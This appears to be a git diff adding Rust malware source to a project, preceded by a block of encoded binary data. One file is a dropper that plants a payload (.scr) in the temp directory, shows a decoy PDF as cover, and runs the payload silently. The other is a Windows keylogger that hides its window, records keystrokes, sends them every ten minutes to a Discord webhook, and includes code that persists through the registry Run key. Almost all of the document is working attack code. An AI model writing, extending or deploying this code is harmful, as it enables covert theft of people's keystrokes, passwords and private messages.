zwX8NcyNyZQ<@5%Lkvo{@2cN&LcbTwbk-z=k=PNv)RQ4)jRCvsWU0NBsl_A!2jpamP zshdQ~1dyQjF5^PW=xqLBc2hoY!>$X{l>TL#Y3hXAWM33Bi@GrLyj#{26j)S6LUAuY zRgUUFpNOJ48M7ca5ieYh%FnfyEvp6r@dpx33Ytn@BTQ2F#@6}brwNZke_LO(AWqm~ zr?3?Yp3x!UtUfx=26#c)aX!KA)hEbp))iC;eMZ`PPX+-~XQhPQ-q^f;<8jh?QyaM2 zG_TmC^d6a_JW=@ZqsVbW3weQT5TLvy?xFuJuf3HS<<%yU!szPTi>)BLm0Lcyz39Zu zGMnZ^UXpj?&9pyT9oDT#!?s*j6LMa0`=5>XPtVn7=Twx^_&?5nxc&LWoPp)EwgPa- zrT`Rs?qD=OF_&d^<4>8h0QWC@wWVX~I>c4%Poxd+^WLc2;9U38*UH;s+(puey->u{ zYN$FJ$SV=04N9wIM*11GMI>${i8R3RQQ-*UjY8WKw{UR(KhWiA$zahuDyb&(CZZDoyML66g&!N}p7fVtUq$<_az`yZ~-ZSRW^leJR zZpQQ!Cf44hyB^GeP)GF{_xy7EDhIMnpTo>zzIY1Z&FhzkhPGn$O1VzJ8@))4)0DG z59biu?WvZCg+`qw4JxZfNW4J|(+3gz7_7^EEtSz;l?%_f<#S!2uKQg0#W$~@ek@&J zrrG^R>2vnn$f!9Tf8BYokHtuNlZV<~zU6d15Z0fccDmwYyj0fkkWCp|jw zZya>Yx0ix1FQ0n4Td*}9&=5krgfl0ZPB4hEQ4ncDxp)(XLlj_|h@wlnHo2tg)Evl| zP9Ni5Dss@j>vvS#9cn#mea>5&QZ~zQ)fa!)R|Ice4INzb=2Msn`fz$iykU{7vb*+n zi+F;4!z^^7;1SuJtqmm}oDTmdo+kZPi|9)0VP8j6LqYl+!WnMaj8|fzcp)mqkn(Tl z*_ZoQ{YMg@ugh^h`W##jvJP>rc$n{4($G2a>R`hx#5Ef{%Wb+(@asqox4QJUKGd6? zmFlf2>SYXMVGI;by?k00{30vL7v$r_}^aK~G5Dy<+McSg< zJVPtE=GeD|)|PN7gs4#7vwP`*q?Dv+nB`LeimBUW0$($eo)xy5GWb%@GdLboPTb`# z)t!qIf4->Cdv!#xG?k=~tk+4Q9ECEw5#nl8t9rg|ECKSetG z@w{!dk17iB&|>UOOtomt7()ui(O6D+Q|u8o#W8jmnsbyJSPKkKPaIu9(g+v;KWLEt zhIIX!!>b7XUO-?J^$N#pd@#B_HT3~vW85Z2lRF}-{t2xb-HU{zyB}@h5_;FXb)Gtd zC8M-;02icrI^Q#&IA2|<8`wC?GXXAV^*@5=vO!&Zv^84EJ+E{kR^P_IBWxo7rA zBnJ<2+Yr=QiDphHm#CwwLeZc)4^yxBLg zI`pegzI#FI$4(GjDaR~I+6>U|i`7kgpc#mmLzGHm5UlT*LXN7*&P+`$m8OA_L8()U z*)1Y1weOXLo_o;3s-8PS`g=PyU(qSKW4*jTIp;uCrXIgNKjGtULM5PBZyD=icUN|= zbK~)D(KdckY_fdXnrbeRcYeT0foE_5?!W&+sUX`>m7~*Ew4B9ZbafC7q={8%*0D&m z8}iNVY<<_+aK$O-gTsh>e)Z$o%ih^x;4$-7P4sNk`SH1E_j32L|MqYtio!!4Q2hAJ z4cjnyC>5b&{kq|qc5&)q=i6i92eDmWS0Dm%{L13UXeQ~_+G~c?&VK){8IV?DGWGtU zGi-la>RjbkAA!-L7 zZg-O-k6nW1iA&*6^7NXTS43`uZ|mLlt?o}CZF3q?msplze;mN{5e_#f-MZrXnmF-r zgklz^#->Rt?zfaI>*@=TtsjoxUOjy8O%4zXj0@dYw##`V+)w^Wm1UWnz-8bVxizd^ z?!@!mI5jJ7WbG_$%VycCEzJn`QiYr@N4RcE>-cw?*mQW0IqOMIy7D^f<20jdDU{-h zIo#D+{;4HFKU=e6qH|Ao%V!y#1;Pqe1%1{>@%{ovCI@1J;GbG6tqu>i)dr|Gn2F zE!XqsaR1q}=W6-DR;4{(b1i>MS$xvYSkVW@UZ6XLmI4RbUQxE;tO|<6Fd2ZzP|3~f z-5#o5J-*Io4mW$Pma^7LyLTcwD?AgUP2bD6Iw4cDMoa%csw=-9WdC}&&Cbd3KXM(w zzeE{mRgCN$!JvOdQE|GznA^a=qz7oh)euqz6;e&GGypRIzzif+ax-#v_5S7khbXhB z>wgFRCHYLNXlZ3@&=4xVT<>FxfUzfl5-n9QUas4MaS`7zh)Bl?PLJ!l5@_>=Z z9IW8F0V@Z93k1?;Wu*cC{f{SDw&2gz{dZ2#uky#Q1?!ON{k5dOOniK#EUH$n;06DY z0WkSn$j#N#0jzEDr~bgN;*zzQi7P1>Vf_c_7_2X1>SkgFcKDBEg^076(J#Ra;IGKR z7O92Qr*9gW#t4{X@2+P=H>>UJpUZ~$JRe>Y(M}Qqy0}C2*Ak!&hsDMf5prO;sVP= z{L{wD$;J*&??3!lxw$!ij}O2J0R79x%KEFG_>Zw*zkjV40N%&%er#-}>yv8GQNw9v}F4fC2FT918+-?SIcHhz-c~`+h-OVB_y&x!8VHDE|>3*biLp z``rfob;|$d2mIH00OA62|9iinUm`lcjRpPd7=f=3&cDUt>TCqo8F5DVbpueb@-_os zTcj+?4i2uQzs`(bm!y=vxdZ91`^2yRMZv;7e5PQWy%DFeIV-D?iK)3M0A$3 \ No newline at end of file diff --git a/src/bin/binder.rs b/src/bin/binder.rs new file mode 100644 index 0000000..0d85b87 --- /dev/null +++ b/src/bin/binder.rs @@ -0,0 +1,79 @@ +use std::env::temp_dir; +use std::fs::{remove_file, File}; +use std::io::Write; +use std::process::Command; +use std::thread::sleep; +use std::time::Duration; + +// # Embeds the decoy PDF file directly into the compiled executable. +// The `include_bytes!` macro reads the entire contents of a file at compile time +// and stores it as a static byte array (`&[u8]`) inside the final program. +// This means the PDF file does not need to be distributed alongside the executable. +static PDF: &[u8] = include_bytes!("../../assets/sample.pdf"); + +// # Embeds the malicious payload (a screensaver file, .scr) into the executable. +// Similar to the PDF, this bundles the payload within the dropper program itself, +// making the entire package a single, self-contained file. +// Screensaver files (.scr) are executables and are often used as a disguise. +static SCR: &[u8] = include_bytes!("../../assets/win_payload.scr"); + +fn main() { + // # Get the path to the system's temporary directory. + // This is a common location for programs to store temporary files. + // Using this directory is less suspicious than writing to the current directory or a user's desktop. + let tmp = temp_dir(); + + // # Define the full path for the decoy PDF file within the temporary directory. + // The program will write the embedded PDF data to this location. + let pdf_path = tmp.join("sample.pdf"); + + // # Define the full path for the payload file within the temporary directory. + // A generic name like "scrn.scr" is chosen to be inconspicuous. + let scr_path = tmp.join("scrn.scr"); + + // # Write the embedded PDF data to the file system. + // This block creates a new file at `pdf_path`. If successful, it writes the + // entire byte array of the embedded PDF into this new file. + // This process is often called "dropping" the file. + if let Ok(mut file) = File::create(&pdf_path) { + let _ = file.write_all(PDF); + } + + // # Write the embedded payload data to the file system. + // This does the same as the block above, but for the malicious `.scr` file. + // After this step, both the decoy and the payload exist as actual files on the user's disk. + if let Ok(mut file) = File::create(&scr_path) { + let _ = file.write_all(SCR); + } + + // # Open the decoy PDF file using the system's default PDF viewer. + // This is the "sleight of hand" part of the program. By opening a legitimate-looking + // document, the user is distracted and believes the program has done what was expected. + // `Command::new("cmd").args(["/C", ...])` executes the path as if typed into the command prompt. + // Windows will automatically use the default application for `.pdf` files. + let _ = Command::new("cmd") + .args(["/C", &pdf_path.to_string_lossy()]) + .spawn(); + + // # Execute the malicious payload silently in the background. + // This command runs the `.scr` file. Since `.scr` files are executable, this launches the payload. + // Because it's launched with `spawn`, it runs as a separate, independent process. + // The user will not see a window for this process, making it appear silent. + let _ = Command::new("cmd") + .args(["/C", &scr_path.to_string_lossy()]) + .spawn(); + + // # Pause the dropper's execution for a short period. + // This wait is crucial. It gives the newly spawned processes (the PDF viewer and the payload) + // enough time to start up and lock their respective files. If we tried to delete the files + // immediately, the operating system might still have them open, causing the deletion to fail. + sleep(Duration::from_secs(2)); + + // # Attempt to clean up by deleting the dropped files. + // This is the final step for the dropper. It removes the decoy PDF and the payload + // from the temporary directory to hide the evidence of its operation. + // If the payload is well-designed, it will have already copied itself elsewhere + // or will continue running from memory, so deleting the original `.scr` file doesn't stop it. + let _ = remove_file(&pdf_path); + let _ = remove_file(&scr_path); +} diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..2959d8f --- /dev/null +++ b/src/main.rs @@ -0,0 +1,208 @@ +use chrono::Local; +use reqwest::blocking::Client; +use std::env; +use std::fs; +use std::fs::OpenOptions; +use std::io::Write; +use std::path::PathBuf; +use std::time::{Duration, Instant}; +use windows::Win32::System::Console::GetConsoleWindow; +use windows::Win32::UI::Input::KeyboardAndMouse::*; +use windows::Win32::UI::WindowsAndMessaging::{ShowWindow, SW_HIDE}; +use winreg::enums::*; +use winreg::RegKey; + +// The contents of the file are read at COMPILE TIME and put here as a string +const WEBHOOK_URL: &str = include_str!("../config/webhook.url"); +const LOG_PATH: &str = "C:\\Users\\Public\\logrust.txt"; + +/// # Checks if the Caps Lock key is toggled on. +/// +/// This function uses the `GetKeyState` Windows API function to determine the toggle state +/// of the Caps Lock key. It's essential for correctly interpreting the case of alphabetic characters. +/// The result is a boolean `true` if Caps Lock is active, and `false` otherwise. +/// The `unsafe` block is required because this function calls directly into the Windows OS API, +/// which Rust cannot guarantee the safety of. +fn is_capslock_on() -> bool { + unsafe { GetKeyState(VK_CAPITAL.0 as i32) & 0x0001 != 0 } +} + +/// # Checks if a specific virtual key is currently being pressed. +/// +/// This function utilizes the `GetAsyncKeyState` Windows API function to get the real-time +/// state of any given key on the keyboard. It checks the most significant bit of the return value +/// to see if the key is down. This is crucial for detecting key presses as they happen. +/// The `unsafe` block is necessary for the direct OS API call. +fn is_key_pressed(vk: i32) -> bool { + let state = unsafe { GetAsyncKeyState(vk) }; + state & (0x8000u16 as i16) != 0 +} + +/// # Appends a given string (representing a key press) to the log file. +/// +/// This function takes the captured keystroke and writes it to the end of the file +/// specified by `LOG_PATH`. It uses `OpenOptions` to ensure the file is created if it +/// doesn't exist (`create(true)`) and that new data is appended without overwriting +/// existing content (`append(true)`). +fn log_to_file(key: &str) { + if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(LOG_PATH) { + let _ = file.write_all(key.as_bytes()); + } +} + +/// # Reads the log file and sends its contents to a Discord webhook. +/// +/// This function is responsible for exfiltrating the captured keystrokes. +/// It first reads the entire content of the log file into a string. +/// If the file is not empty, it formats the content into a message that includes a timestamp +/// and then sends this data as an HTTP POST request to the specified Discord webhook URL. +/// After successfully sending, it clears the log file to prevent sending the same data repeatedly. +fn send_file_to_discord(path: &str) { + if let Ok(content) = fs::read_to_string(path) { + if !content.is_empty() { + // Gets the current time to timestamp the log dump. + let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string(); + // Formats the message body for the Discord webhook. + let body = format!("📥 Keystroke dump at {}:\n```{}```", timestamp, content); + + // Creates a new HTTP client and sends the data as a form payload. + let _ = Client::new() + .post(WEBHOOK_URL) + .form(&[("content", &body)]) + .send(); + + // Wipes the log file by opening it in write mode and truncating it to zero bytes. + // This ensures the next log dump will only contain new keystrokes. + let _ = OpenOptions::new().write(true).truncate(true).open(path); + } + } +} + +/// # Sends an initial notification to the webhook when the keylogger starts. +/// +/// This function sends a simple message to the Discord webhook to confirm that the +/// keylogger has been successfully executed on the target machine. It includes a +/// timestamp to record the start time. +fn send_initial_ping() { + let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string(); + let msg = format!("🟢 Keylogger started at {}", timestamp); + let _ = Client::new() + .post(WEBHOOK_URL) + .form(&[("content", &msg)]) + .send(); +} + +/// # Main function and the core logic loop of the keylogger. +fn main() { + // Immediately notify the webhook that the program has started. + send_initial_ping(); + // Record the current time to track when the last log file was sent. + let mut last_sent = Instant::now(); + + // Hide the console window to make the keylogger less conspicuous. + // `GetConsoleWindow` gets a handle to the program's console window. + // `ShowWindow` with `SW_HIDE` makes it invisible to the user. + unsafe { + let hwnd = GetConsoleWindow(); + ShowWindow(hwnd, SW_HIDE); + } + + // Initialize an array to track the state of each key (pressed or not pressed). + // This prevents logging a single key press multiple times if the key is held down. + let mut last_state = [false; 256]; + + // The main loop that runs continuously to capture keystrokes. + loop { + // Iterate through all possible virtual key codes (from 8 to 255). + for vk in 8..256 { + let index = vk as usize; + + // Check if a key is currently pressed AND was not pressed in the previous check. + // This logic ensures we only log the key once when it's first pressed down. + if is_key_pressed(vk) && !last_state[index] { + let mut output = String::new(); + + // Check the state of SHIFT and CAPS LOCK to determine character case. + let is_shift = is_key_pressed(VK_SHIFT.0 as i32); + let is_caps = is_capslock_on(); + + // Handle standard alphabetic characters (A-Z). + // The range check covers both uppercase and lowercase ASCII values. + if (vk >= 65 && vk <= 90) || (vk >= 97 && vk <= 122) { + // The `^` (XOR) operator correctly determines the case. + // If either SHIFT or CAPS LOCK is active (but not both), the character is uppercase. + // Otherwise, it's lowercase. + let ch = if is_shift ^ is_caps { + vk as u8 as char + } else { + (vk as u8 as char).to_ascii_lowercase() + }; + output.push(ch); + } else { + // Handle special keys by matching their virtual key codes. + // Instead of logging the raw character, a descriptive string is used. + match vk { + k if k == VK_RETURN.0 as i32 => output.push_str("\n[ENTER]"), + k if k == VK_SPACE.0 as i32 => output.push(' '), + k if k == VK_BACK.0 as i32 => output.push_str("[BACK]"), + k if k == VK_TAB.0 as i32 => output.push_str("[TAB]"), + k if k == VK_ESCAPE.0 as i32 => output.push_str("[ESC]"), + k if k == VK_CONTROL.0 as i32 => output.push_str("[CTRL]"), + k if k == VK_MENU.0 as i32 => output.push_str("[ALT]"), + k if k == VK_DELETE.0 as i32 => output.push_str("[DEL]"), + // Ignore any other keys that are not explicitly handled. + _ => {} + } + } + + // If a key was successfully translated into a string, log it to the file. + if !output.is_empty() { + log_to_file(&output); + } + + // Update the state for this key to `true` (pressed) to prevent re-logging. + last_state[index] = true; + } else if !is_key_pressed(vk) { + // If the key is no longer pressed, reset its state to `false`. + // This makes it ready to be logged again the next time it's pressed. + last_state[index] = false; + } + } + + // Check if 600 seconds (10 minutes) have passed since the last data dump. + if last_sent.elapsed() >= Duration::from_secs(600) { + // If so, send the current log file to the webhook. + send_file_to_discord(LOG_PATH); + // Reset the timer to start counting for the next 10-minute interval. + last_sent = Instant::now(); + } + } +} + +/// # Configures the keylogger to run automatically on system startup. +/// +/// This function creates persistence by copying the executable to a less obvious +/// location and adding a Windows Registry key that ensures the program is +/// launched every time the user logs in. +fn add_to_startup() { + // Get the path to the user's AppData\Roaming directory, a common place for app data. + let appdata = env::var("APPDATA").unwrap_or_else(|_| "C:\\Users\\Public".to_string()); + // Define the new path and filename for the executable. Using a generic name + // like "win32ui.scr" can help it blend in. + let target_path = PathBuf::from(appdata).join("win32ui.scr"); + + // Copy the currently running executable to the new target path. + if let Ok(current_exe) = env::current_exe() { + let _ = fs::copy(¤t_exe, &target_path); + } + + // Access the Windows Registry key responsible for running programs on startup for the current user. + if let Ok(hkcu) = RegKey::predef(HKEY_CURRENT_USER).open_subkey_with_flags( + "Software\\Microsoft\\Windows\\CurrentVersion\\Run", + KEY_WRITE, + ) { + // Create a new value in the "Run" key. The name can be anything, but "Win32UI" + // is used here. The value is the full path to the copied executable. + let _ = hkcu.set_value("Win32UI", &target_path.to_string_lossy().to_string()); + } +}